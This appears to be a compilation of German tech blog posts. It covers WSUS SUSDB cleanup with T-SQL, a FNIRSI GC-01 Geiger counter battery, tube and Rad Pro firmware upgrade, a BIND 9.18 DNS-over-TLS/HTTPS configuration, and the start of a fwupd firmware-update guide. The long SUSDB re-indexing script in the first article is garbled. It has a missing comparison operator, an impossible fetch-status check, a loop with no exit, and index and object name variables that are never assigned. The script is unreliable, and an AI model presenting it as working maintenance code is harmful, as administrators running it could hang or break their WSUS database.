[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-compability.jpg)

**Windows Internel Database WDI umstellen:**
Mit dem Microsoft SQL Server Management Studio zu folgendem Server verbinden: \\.\pipe\MICROSOFT##WID\tsql\query

Dann „Databases ==> SUSDB ==> rechte Maus Properties ==> Options ==> „Compatibility level:“ SQL Server 2012 (110)

Man kann hier auch über „Databases ==> SUSDB ==> rechte Maus Tasks ==> Shrink ==> Database“ den freien Speicherplatz der Datenbank zusammenfassen lassen.

[[Bild: Screenshot der Database Properties - SUSDB zur WSUS Datenbank. Shrink Database.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-database-shrink.jpg)

Wenn man schon hier ist lässt sich die Synchronisierungshistory mit folgender SQL Query aufräumen:

```
USE SUSDB
GO
DELETE FROM tbEventInstance WHERE EventNamespaceID = '2' AND EVENTID IN ('381', '382', '384', '386', '387', '389')
```

[[Bild: Screenshot vom Micosoft SQL Server Manager mit SQL Query zur Bereinigung der WSUS Datenbank.]](https://www.kernel-error.de/wp-content/uploads/2020/08/windows-server-2012-r2-wsus-sychronisierungen-02.jpg)

Einfach „New Query“ copy&paste „Execute“.

Wenn die Serverbereinigung weiterhin hängen bleibt hilft es scheinbar oft das erste Update in der „zu löschen“ Liste von Hand zu löschen:

```
USE SUSDB
GO
exec spGetObsoleteUpdatesToCleanup
```

Jetzt die erste Update ID notieren und:

```
USE SUSDB
GO
exec spDeleteUpdate @localUpdateID=HIERUPDATEID
```

Über den Weg lässt sich auch kontrollieren ob die Versuche das Ding aufzuräumen irgendwie einen Fortschritt bringen. Kommt man auch so nicht weiter hat mir folgende SQL Query geholfen (auch wenn sie unglaublich lange läuft):

```
USE SUSDB
DECLARE @var1 INT, @curitem INT, @totaltodelete INT
DECLARE @msg nvarchar(200)
CREATE TABLE #results (Col1 INT) INSERT INTO #results(Col1)
EXEC spGetObsoleteUpdatesToCleanup
SET @totaltodelete = (SELECT COUNT(*) FROM #results)
SELECT @curitem=1
DECLARE WC Cursor FOR SELECT Col1 FROM #results
OPEN WC
FETCH NEXT FROM WC INTO @var1 WHILE (@@FETCH_STATUS > -1)
BEGIN SET @msg = cast(@curitem as varchar(5)) + '/' + cast(@totaltodelete as varchar(5)) + ': Deleting ' + CONVERT(varchar(10), @var1) + ' ' + cast(getdate() as varchar(30))
RAISERROR(@msg,0,1) WITH NOWAIT
EXEC spDeleteUpdate @localUpdateID=@var1
SET @curitem = @curitem +1
FETCH NEXT FROM WC INTO @var1
END
CLOSE WC
DEALLOCATE WC
DROP TABLE #results
```

Ebenfalls gibt es die Möglichkeit seine [Datenbank zu re-indexieren](https://gallery.technet.microsoft.com/scriptcenter/6f8cde49-5c52-4abd-9820-f1d270ddea61). Indexe in einer Datenbank neu aufzubauen hat selten geschadet, hm?

```
/****************************************************************************** 
This sample T-SQL script performs basic maintenance tasks on SUSDB 
1. Identifies indexes that are fragmented and defragments them. For certain 
   tables, a fill-factor is set in order to improve insert performance. 
   Based on MSDN sample at http://msdn2.microsoft.com/en-us/library/ms188917.aspx 
   and tailored for SUSDB requirements 
2. Updates potentially out-of-date table statistics. 
******************************************************************************/ 
 
USE SUSDB; 
GO 
SET NOCOUNT ON; 
 
-- Rebuild or reorganize indexes based on their fragmentation levels 
DECLARE @work_to_do TABLE ( 
    objectid int 
    , indexid int 
    , pagedensity float 
    , fragmentation float 
    , numrows int 
) 
 
DECLARE @objectid int; 
DECLARE @indexid int; 
DECLARE @schemaname nvarchar(130);  
DECLARE @objectname nvarchar(130);  
DECLARE @indexname nvarchar(130);  
DECLARE @numrows int 
DECLARE @density float; 
DECLARE @fragmentation float; 
DECLARE @command nvarchar(4000);  
DECLARE @fillfactorset bit 
DECLARE @numpages int 
 
-- Select indexes that need to be defragmented based on the following 
-- * Page density is low 
-- * External fragmentation is high in relation to index size 
PRINT 'Estimating fragmentation: Begin. ' + convert(nvarchar, getdate(), 121)  
INSERT @work_to_do 
SELECT 
    f.object_id 
    , index_id 
    , avg_page_space_used_in_percent 
    , avg_fragmentation_in_percent 
    , record_count 
FROM  
    sys.dm_db_index_physical_stats (DB_ID(), NULL, NULL , NULL, 'SAMPLED') AS f 
WHERE 
    (f.avg_page_space_used_in_percent  50 and f.avg_fragmentation_in_percent > 15.0) 
    or (f.page_count > 10 and f.avg_fragmentation_in_percent > 80.0) 
 
PRINT 'Number of indexes to rebuild: ' + cast(@@ROWCOUNT as nvarchar(20)) 
 
PRINT 'Estimating fragmentation: End. ' + convert(nvarchar, getdate(), 121) 
 
SELECT @numpages = sum(ps.used_page_count) 
FROM 
    @work_to_do AS fi 
    INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id 
    INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id 
 
-- Declare the cursor for the list of indexes to be processed. 
DECLARE curIndexes CURSOR FOR SELECT * FROM @work_to_do 
 
-- Open the cursor. 
OPEN curIndexes 
 
-- Loop through the indexes 
WHILE (1=1) 
BEGIN 
    FETCH NEXT FROM curIndexes 
    INTO @objectid, @indexid, @density, @fragmentation, @numrows; 
    IF @@FETCH_STATUS = 5000 AND @fillfactorset = 0 
        SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD WITH (FILLFACTOR = 90)'; 
    ELSE 
        SET @command = N'ALTER INDEX ' + @indexname + N' ON ' + @schemaname + N'.' + @objectname + N' REBUILD'; 
    PRINT convert(nvarchar, getdate(), 121) + N' Executing: ' + @command; 
    EXEC (@command); 
    PRINT convert(nvarchar, getdate(), 121) + N' Done.'; 
END 
 
-- Close and deallocate the cursor. 
CLOSE curIndexes; 
DEALLOCATE curIndexes; 
 
 
IF EXISTS (SELECT * FROM @work_to_do) 
BEGIN 
    PRINT 'Estimated number of pages in fragmented indexes: ' + cast(@numpages as nvarchar(20)) 
    SELECT @numpages = @numpages - sum(ps.used_page_count) 
    FROM 
        @work_to_do AS fi 
        INNER JOIN sys.indexes AS i ON fi.objectid = i.object_id and fi.indexid = i.index_id 
        INNER JOIN sys.dm_db_partition_stats AS ps on i.object_id = ps.object_id and i.index_id = ps.index_id 
 
    PRINT 'Estimated number of pages freed: ' + cast(@numpages as nvarchar(20)) 
END 
GO 
 
 
--Update all statistics 
PRINT 'Updating all statistics.' + convert(nvarchar, getdate(), 121)  
EXEC sp_updatestats 
PRINT 'Done updating statistics.' + convert(nvarchar, getdate(), 121)  
GO
```

Meist scheint eine Kombination auf verschiedenen Dingen zu helfen. Bisher hat mir zumindest immer irgendetwas davon geholfen. Auch wenn ich dafür einige Zeit in Suchmaschinen verschwenden musste. Dieses ist also eher so etwas wie eine Sammlung gefundener Dinge 😉

Fragen? Dann fragen…

---


---


## 5. FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware installieren

**Veröffentlicht:** 2024-10-13
**Permalink:** https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/
**Description:** Anleitung zum Upgrade des FNIRSI GC-01 Geigerzählers: Akku tauschen, Zählrohr ersetzen und Rad Pro Firmware installieren für bessere Leistung und...

Bei meinen letzten Einkaufstouren auf Aliexpress ist mir immer mal wieder ein [FNIRSI GC-01 Nuclear Radiation Detector](https://s.click.aliexpress.com/e/_DEdHS8z), sprich Geigerzähler vorgeschlagen worden. Was soll ich sagen, japp hat funktioniert, irgendwann habe ich das Teil tatsächlich einfach für knapp 30€ mit im Einkaufswagen gehabt. Nach ein paar Spielerreien ging mir aber schnell die Batterielebensdauer auf die Nerven, denn das Teil war im grunde immer leer. Da mich, wie immer, brennend interessiert, was denn da überhaupt verbaut ist, habe ich es mir etwas näher angesehen und schnell festgestellt, dass man noch ein paar Veränderungen vornehmen kann. Darum soll es in diesem Beitrag gehen.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-PCB-01-scaled.jpg)

Das Gerät kam mit einem J613 Geiger-Müller-Zählrohr. Dieses ist in der Lage Beta- und Gamma-Strahlung zu erfassen. J613 braucht eine Betriebsspannung von 300 bis 400 Volt und ist ganz gut darin auch niedrige Stralungsniveaus zu messen. Die Platine des GC-01 ist recht simpel aufgebaut. Es hat ein kleines PSU, welches vom USB-C Anschluss oder vom 3.7V Akku eine Spannung von ca. 130V AC aufbaut (ich hab den Teil mal mit einer 1 markiert). Dieses fütter dann einen 3-Stage Multiplier (2) und schon kommen die knapp 400V zusammen. Eine kleine [CR1220](https://amzn.to/4eG9SsP) Knopfzellenbatterie sorgt dafür, dass der Speicher für Uhrzeit und Messwerte gehalten wird. Dann ist da noch ein kleiner CH32F103 (3). Das kann aber auch mal ein ARM MCU sein, kommt auf die Version an. Der eigentliche 3.7V Akku kommt bei mir mit 1100mAh, also knapp 4Wh, was die geringe Laufzeit erklären sollte. Es gibt noch einen kleinen Piezo Tongeber, welcher für die für einen Geigerzähler bekannten Knackgeräusche sorgt, wenn ein Teilchen „gezählt“ wird. Nahe der MCU sind noch vier „Löcher“ in der Platine, welche als JP1 beschriftet sind. Wie sich heraus stellte, ist dieses ein ST-Link Connector und von link nach rechts sind es die Pins +3.3V, SWDIO, SWCLK, GND. Das wird etwas später noch spannend.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-ST-LINK-scaled.jpg)

Was mir ebenfalls recht schnell aufgefallen ist, ist dass scheinbar nicht jedes Teilchen ein hörbares Knacken auslöst. Zwar findet sich über dem Display noch eine kleine rote LED, welche passen zu den Teilchen aufblinkt aber halt nicht das Knacken. Der Soundgeber scheint auschließlich per Firmware angesteuert zu werden und die Entwickler haben anders entschieden. 😉

Im Internet habe ich ein paar Modifikation per Widerstand, Transistor usw. gesehen um eine Verbindung zwischen LED und Piezo Soundgeber zu löten, damit diese auch immer Geräusche von sich gibt. Ich bin aber bei Firmware hängen geblieben. Zum einen gibt es eine doch leistungsstarke MCU, dann noch eine USB-C Schnittstelle, bei welcher die Datenleitungen bis zur MCU reichen und natürlich noch den ST-Link.

Schalte ich das Gerät aus, schließe es per USB-C an meinen Computer an und schalte es ein taucht ein Laufwerk mit einem leeren Textfile auf. Irgendwas muss da also gehen. Da war nun wieder der Punkt an welchem ich nicht los lassen konnte.

Die [CR1220](https://amzn.to/4eG9SsP) kam schon etwas verbraucht an und wurde von mir gegen eine frische ersetzt. Für den kleinen 1100mAh Akku hat sich ebenfalls ein günstiger und vor allem ins Gehäuse [passender Ersatz mit immerhin 2200mAh](https://amzn.to/3Nmq1YD) gefunden. Dieser sollte die Autonomiezeit fast verdoppeln. Das J613 ist im grunde sehr gut für seinen Zweck, ich hatte da aber noch ein [SBM-20-1](https://www.ebay.de/sch/i.html?_nkw=SBM-20-1) von einem früheren Projekt in meiner Schublade liegen. Das SBM-20-1 braucht eine Betriebsspannung von 380 bis 450V und hat eine sehr ähnliche Bauform. Wenn man die beiden Haltepfosten auslötet, passt die gut rein.

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector mit installiertem SBM-20-1 Zählrohr.]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-with-SBM-20-1-tube-scaled.jpg)

Ebenfalls erfasst es Beta- und Gamma-Strahlung. Es ist zwar bei geringeren Strahlungen nicht gaaanz so genau wie das J613 und das Fenster für Beta-Strahlung ist etwas kleiner aber hey, dafür ist das Ding fast unkaputtbar und wenn ich der Firmware irgendwie mitteilen kann, was ich da eingebaut habe, dann sollte sich Vieles durch berechnungen in der Firmware doch ausgleichen lassen, oder?

[[Bild: Geöffneter FNIRSI GC-01 Nuclear Radiation Detector]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-Akku-scaled.jpg)

**Firmware**….
Ein Datalogger wäre toll, damit ich einfach jeden Tag, jede Stunde oder so kurz den aktuellen Messwert wegschreiben kann. Dann könnte ich über einen laaangen Zeitraum eine Kurve zeichnen. Wenn ich dann noch irgendwie den Stromverbrauch beeinflussen könnte, denn das Display muss ja nicht 24/4 leuchten. Vielleicht noch etwas um die normale Hintergrundstrahlung heraus zu filtern?! So Kleinigkeiten welche mir in der Stock Firmware irgendwie fehlen. Aber vielleicht gibt es ja inzwischen ein Update vom Herstellen oder ich kann da was auslesen und selbst schreiben, mal schauen.

Die Recerche hat mich recht schnell zu einem [GitHub repro gebracht. Rad Pro](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install.md), da hat sich schon jemand mit einer alternativen Firmware für verschiedene Geräte beschäftigt. Selbst Dinge über welche ich noch nicht im Ansatz nachgedacht habe, werden dort erfüllt bzw. gelöst. Öhm also was soll ich sagen? Ich hab einfach gemacht, was dort in der sehr überschaubaren Anleitung steht und geht einfach! Naja, fast. der Weg über das USB Laufwerk hat nicht so wirklich funktioniert. Am Ende habe ich einfach kurz eine Stiftleiste für den [ST-Link](https://github.com/Gissio/radpro/blob/main/docs/devices/FNIRSI%20GC-01/install-stlink.md) eingelötet und die neue Firmware über diesen Weg in die MCU gedrückt. Was sich für mich auch irgendwie zuverlässiger anfühlte, vielleicht bin ich da aber auch zu oldschool.

Ein paar Bilder vom Gerät mit der neuen Firmware findet ihr unten.

Viel Spaß beim Basteln und wenn ihr Fragen habt, wie immer einfach fragen.

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-11-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-10-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-09-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-08-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-07-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-06-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-05-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-04-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-03-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-02-scaled.jpg)

[[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]](https://www.kernel-error.de/wp-content/uploads/2024/10/FNIRSI-GC-01-01-scaled.jpg)

[Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Logging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - HV profile][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Background compensation][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Geiger tube][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Conversion factor][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Dose alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Rate alarm][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Averaging][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Units][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Histroy][Bild: Blick auf das Display des FNIRSI GC-01 Nuclear Radiation Detectors mit der Rad Pro Firmware - Instantaneous]

### Rad Pro Firmware 3.x – ein deutliches Stück Reife

Wie doch die Zeit vergeht. Inzwischen gibt es eine deutlich neuere Firmware für das FNIRSI GC-01. Aktuell ist Version 3.0.2, verfügbar im offiziellen Rad Pro-Repository: [https://github.com/Gissio/radpro/releases](https://github.com/Gissio/radpro/releases)

Die Installation war bei mir – wie schon bei früheren Versionen – wieder unkompliziert. Allerdings weiterhin nicht über USB-DFU, sondern erneut klassisch über ST-Link, was beim GC-01 inzwischen fast schon erwartbar ist.

Der Ablauf selbst war unspektakulär und funktionierte auf Anhieb:

```
kernel@ErrorWork ~/D/r/fnirsi-gc01_ch32f103r8> sudo ./install.sh
[sudo] password for kernel:
Available language codes: bg cs da de el en es fi fr hr hu it nl no pl pt ro ru sk sl sv tr uk vi
Enter language code for Rad Pro installation: de
../fnirsi-gc01_ch32f103r8/firmware/radpro-fnirsi-gc01_ch32f103r8-de-3.0.2.bin
Backing up old firmware image...
...
** Programming Started **
** Programming Finished **
```

OpenOCD meldet dabei erwartungsgemäß weiterhin die bekannte Warnung zur künftig wegfallenden ST-Link-HLA-Unterstützung. Mit einem halbwegs aktuellen ST-Link-Firmwarestand ist das aktuell aber noch unkritisch.

Nach dem Flashen lief das Gerät sofort stabil, alle bisherigen Einstellungen wurden korrekt übernommen. Naja, fast. Den Zählrohrtypen musste ich neu setzten.

### Was hat sich geändert? – Changelog ab Version 2.x

Gerade mit Version 3.0 ist funktional einiges dazugekommen. Nachfolgend der relevante Changelog ab Version 2.0, zusammengefasst und technisch eingeordnet.

**Version 3.0.2**

- Fix für Geräte, die nach einem Software-Update nicht mehr korrekt reagierten

- Web-Installer-Bugfix für Bosean FS-5000

- Alarm- und Sprachfunktionen beim GQ GMC-800 wiederhergestellt

**Version 3.0.1**

- Entfernte Ladezustandsanzeige beim FNIRSI GC-01 (hardwarebedingt nicht zuverlässig)

- Korrekturen an Batterie-Anzeigen auf mehreren Geräten

- Reaktionszeit der Akkuanzeige verbessert

**Version 3.0**
Hier liegt der eigentliche Sprung:

- Unterstützung weiterer Geräte (u. a. GQ GMC-800)

- Mehrsprachige Oberfläche (27 Sprachen, inkl. Deutsch)

- Deutlich erweiterte History-Funktion

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/ ...]

---


---


## 6. DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Server

**Veröffentlicht:** 2022-03-18
**Permalink:** https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/
**Description:** Anleitung zur Einrichtung eines eigenen DNS over TLS (DoT) Servers mit BIND und Stunnel. Nutze verschlüsselte DNS-Abfragen auf Android 9 für mehr...

Die Zeit ging weiter, die Entwicklung bei BIND und DNS ebenfalls. Daher gibt es nun einen [neuen Beitrag](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/), der das aktuelle Setup mit BIND 9.20 auf FreeBSD 15 beschreibt – inklusive sauberer Trennung von authoritative DNS (Port 53) und öffentlichem Resolver (DoT/DoH) sowie reproduzierbaren CLI-Tests für IPv4 und IPv6. Bitte dort weiterlesen.

Über die Techniken [DoT (DNS over TLS)](https://de.wikipedia.org/wiki/DNS_over_TLS) habe ich bereits im Zusammenhang mit Bind  9.16 [geschrieben](https://www.kernel-error.de/2019/07/16/dot-dns-over-tls-mit-bind-stunnel-und-android-9/). Ebenfalls [DoH (DNS over HTTPS)](https://de.wikipedia.org/wiki/DNS_over_HTTPS) gibt es einen kleinen [Beitrag](https://www.kernel-error.de/2019/11/19/doh-dns-over-https-mit-bind/).

[Bild: Bilder der Bind 9 TLS Konfiguration]

Zu diesem Zeitpunkt bracht [BIND 9 ](https://www.isc.org/bind/)die Unterstützung für DoH und DoT noch nicht selbst mit. Daher waren zu diesem Zeitpunkt noch Umwege über stunnel oder nginx zusammen mit doh-proxy nötig.

[Zum Glück kommt die letzte stable Version 9.18.0 (26. Januar 2022)](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[ ](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)[mit dem nötigen Support.](https://downloads.isc.org/isc/bind9/9.18.0/doc/arm/html/notes.html#new-features)

```
named now supports securing DNS traffic using Transport Layer Security (TLS). TLS is used by both DNS over TLS (DoT) and DNS over HTTPS (DoH).
```

Warum möchte man noch gleich DoH oder DoT benutzen? Ganz einfach… Über diese Techniken werden DNS Abfragen verschlüsselt übertragen. Dieses ist ein weiterer Schutz davor manipulierte Antworten zu bekommen und selbstverständlich, damit die eigenen DNS Abfragen erst überhaupt nicht mitgelesen werden. Denn wenn von einem Gerät im Netzwerk die DNS Abfrage zu z.B.:  www.tagesschau.de kommt, könnte man davon bereits Dinge ableiten.

Wie die meisten Bind Konfigurationen ist dieses ebenfalls straightforward. Ab Version 9.18 bringt Bind alles Nötige mit. Da wir nun TLS mit dem Bind sprechen möchten, benötigen wir natürlich ein gültiges Zertifikat, wie z.B. beim nginx für seine Webseite.

Ebenfalls sollte man ein paar frische Diffie-Hellmann Parameter generieren:

```
openssl dhparam -out dhparam.pem 4096
```

Die eigentliche bind Konfiguration kann in der named.conf.options geschehen:

```
options {
        [...]
        listen-on port 853 tls local-tls { 37.120.183.220; };
        listen-on-v6 port 853 tls local-tls { 2a03:4000:38:20e::853; };
        listen-on port 443 tls local-tls http default { 37.120.183.220;  };
        listen-on-v6 port 443 tls local-tls http default { 2a03:4000:38:20e::853; };
        [...]
        allow-recursion-on { 127.0.0.0/8; ::1/128; 2a03:4000:38:20e::853; 37.120.183.220; };
        [...]
};
```

Da der bind auf weiteren Ports lauschen soll erweitert man diese für IPv4 und IPv6. Der Default Port für DoH ist dabei 443 und der default Port für DoT ist 853, beides TCP.

*listen-on* sowie listen-on-v6 sind wohl selbsterklärend.
*port* ist der TCP Port und erklärt sich ebenfalls.
*tls* sagt dem Bind das wir tls sprechen möchten.
*local-tls *verweißt auf den gleichnamigen tls Block über welchen man seine TLS Konfiguration vornimmt.
*http* ist für DoH.
*default* gibt den eigentlichen endpoint für die DoH Abfragen an, im default ist es */dns-query*

Da der Server unsere DNS Abfragen erledigen soll, müssen wir ihm dieses noch per *allow-recursion-on* auf den jeweiligen Adressen erlauben.

Als nächstes wird die eigentliche TLS Terminierung konfiguriert (das lässt sich ebenfalls auslagern, wenn gewünscht). Dafür wird der folgende Block, außerhalb der Options Blocks, ergänzt:

```
tls local-tls {
    cert-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/chain.crt";
    key-file "/usr/local/etc/ssl/wild.kernel-error.de/2022/ecp/http.key";
    dhparam-file "/usr/local/etc/ssl/dhparam.pem";
    protocols { TLSv1.2; TLSv1.3; };
    ciphers "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256";
    prefer-server-ciphers yes;
    session-tickets no;
};
```

*local-tls* ist dabei der name des Blocks. Auf diesen verweisen wir oben.
*cert-file* ist der Pfad zum Zertifikat. Ich habe dort nicht nur das Zertifikat, sondern die gesamte Chain, also mit Intermediate und Root.
*key-file* ist der Pfad zum Key des Zertifikates.
*dhparam-file* ist der Pfad zu den Diffie-Hellman Parametern.
*protocols* definiert die zu verwendenden TLS Protokolle. In diesem Beispiel TLS1.2 sowie TLS1.3.
*ciphers* definiert die zu verwendenden cipher. Es soll ja „sicher“ bleiben.
*prefer-server-ciphers* übermittelt dem Client die Information, in welcher Reihenfolge protokoll/cipher Kombinationen probiert werden sollen um einen Match zu finden. Erst das vermeintlich sicherste und dann immer „schlechter“.
*session-tickets* regelt ob eine Wiederaufnahme von TLS Sessions erlaubt ist oder nicht. Da ich forward secrecy nutzen möchte, ist es deaktiviert.

Damit ist die Konfiguration schon abgeschlossen (Firewall ggf. nicht vergessen!). Also testen….

Ein einfaches Tool dafür ist [dog](https://dns.lookup.dog/), oder natürlich dig aus den bind-tools aber Version 9.18.  Für bind gibt es dann die Optionen +https oder auch +tls

```
dig +https @dns.kernel-error.de www.kernel-error.de A
dig +tls @dns.kernel-error.de www.kernel-error.de A
```

Der gleiche Test mit dog, sieht wie folgt aus:

```
dog www.kernel-error.de --tls "@dns.kernel-error.de"
A www.kernel-error.de. 6h00m00s   148.251.40.23
dog www.kernel-error.de --https "@https://dns.kernel-error.de/dns-query"
A www.kernel-error.de. 6h00m00s   148.251.40.23
```

Das war es auch schon! Viele Spaß mit einem „besseren“ DNS und wenn es noch Fragen gibt, einfach fragen 🙂

---


---


## 7. Firmware- und BIOS-Updates unter Linux einfach mit fwupd durchführen

**Veröffentlicht:** 2021-03-03
**Permalink:** https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/
**Description:** Erfahre, wie du mit fwupd unter Linux Firmware- und BIOS-Updates einfach durchführst. Eine Schritt-für-Schritt-Anleitung für sichere Aktualisierungen.

[Bild: Bild vom fwupdmgr update in Aktion.]

Firmware und BIOS Updates müssen hin und wieder sein um Fehler zu beseitigen oder Unterstützung für neuere Komponenten zu erhalten. Dieses unter Linux zu tun, war nicht immer einfach. Oft bieten die Hersteller nur Software für DOS oder vielleicht sogar noch Windows an. Der Support für Linux war eher selten vorhanden und beschränkte sich dabei eher auf Serversysteme. Wenn ich früher an meinem Linux Arbeitsplatz oder Notebook Firmware oder BIOS Updates installieren wollte, musste ich oft eine Festplatte aus der Kiste nehmen, Windows installieren, die nötigen Treiber für die Hardware installieren und mir dann die Herstellertools besorgen, um der Firmware ein Update zu verpassen. So macht es keinen Spaß und ist viel zu aufwendig.

Vor knapp 5 Jahren haben ein paar Gnome Entwickler zusammen mit dem Hersteller Dell mit der Entwicklung an einem Update Tool [*fwupd*](https://fwupd.org/) gestartet. Über dieses Tool gibt es nun die Möglichkeit Firmwareupdates auf einem einheitlichen Weg und über eine einheitliche Basis zu verteilen und zu installieren. Klar steht und fällt es weiterhin mit den Hardware Herstellern. Diese müssen sich nun aber nicht mehr um das eigentliche Tooling und den Support am Betriebssystem Linux kümmern, sondern müssen nur ihre eigentlichen Firmwareupdates in einem [Online-Repository](https://fwupd.org/lvfs/docs/vendors) zur Verfügung stellen.

Jetzt kann jeder Linux Benutzer über einen sehr einfachen Weg Firmware und BIOS Updates einspielen. Für Gnome und KDE gibt es dazu sogar eine GUI, über die CLI geht es genau so einfach.

fwupd kann dabei im Hintergrund als Daemon laufen, täglich nach neuen Firmwareupdates suchen und diese installieren oder zur Installation ankündigen.

Nun möchte ich es mir nicht nehmen lassen, mit euch einen kurzen Ablauf eines solchen Firmwareupdates auf der CLI durchzuführen. Also… Los geht es!

Testgerät dafür ist ein Lenovo ThinkPad, um zu sehen welche Hardware von fwupd erkannt und unterstützt wird, hilft folgender Aufruf:

```
root@errorlap:/home/kernel# fwupdmgr get-devices
20N588101
│
├─Thunderbolt Controller:
│     Device ID:           149dca4a469318aced513ec818b67eeac46753e9
│     Summary:             Unmatched performance for high-speed I/O
│     Current version:     20.00
│     Vendor:              Lenovo (TBT:0x0109)
│     GUIDs:               52265728-359a-574c-9a6a-a23d3b1f952d ← TBT-01091804-native
│                          f117e89e-a75f-5f33-9e8e-c4aded9cbadf ← TBT-01091804-native-controller0-0
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Device stages updates
│   
├─SAMSUNG MZVLB256HB88-000L7:
│     Device ID:           f2759da7fe8e0388c5f3601cb072f837b1070b03
│     Summary:             NVM Express Solid State Drive
│     Current version:     4M2QEXH7
│     Vendor:              Samsung Electronics Co Ltd (NVME:0x144D)
│     Serial Number:       S4ELN88N881038
│     GUIDs:               6e54c992-d302-59ab-b454-2d26ddd63e6d ← NVME\VEN_144D&DEV_A808&REV_00
│                          47335265-a509-51f7-841e-1c94911af66b ← NVME\VEN_144D&DEV_A808
│                          1b3b43f9-e0b0-5978-a89b-6f0866124233 ← SAMSUNG MZVLB256HBHQ-000L7
│     Device Flags:        • Internal device
│                          • Updatable
│                          • Requires AC power
│                          • Needs a reboot after installation
│                          • Device is usable for the duration of the update
│   
├─System Firmware:
│     Device ID:           6150dd1f7291b0709289ab8a53cc85a17e117ef2
│     Current version:     0.1.65
│     Minimum Version:     0.0.1
│     Vendor:              LENOVO (DMI:LENOVO)
│     GUID:                603baf73-b997-45b5-86b4-2f981a008e18
│     Device Flags:        • Internal device
│                          • Updatable
